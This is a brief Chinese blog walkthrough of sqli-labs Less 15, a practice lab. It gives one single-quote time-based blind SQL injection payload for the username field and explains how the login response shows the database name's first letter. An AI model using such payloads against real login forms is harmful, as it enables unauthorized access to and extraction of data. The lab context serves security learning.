Sqli labs less 15

less 15的考点 单引号boolen/时间盲注

1.根据less8和less9的过程,username输入admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))# ,密码随便输入

 

 

 

 这是可以发现页面立即返回成功登陆,这就说明猜测的数据库的第一个字符ascii编码是115,s

posted @ 2021-08-26 17:31  Nuyoah_QQ  阅读(76)  评论(0)    收藏  举报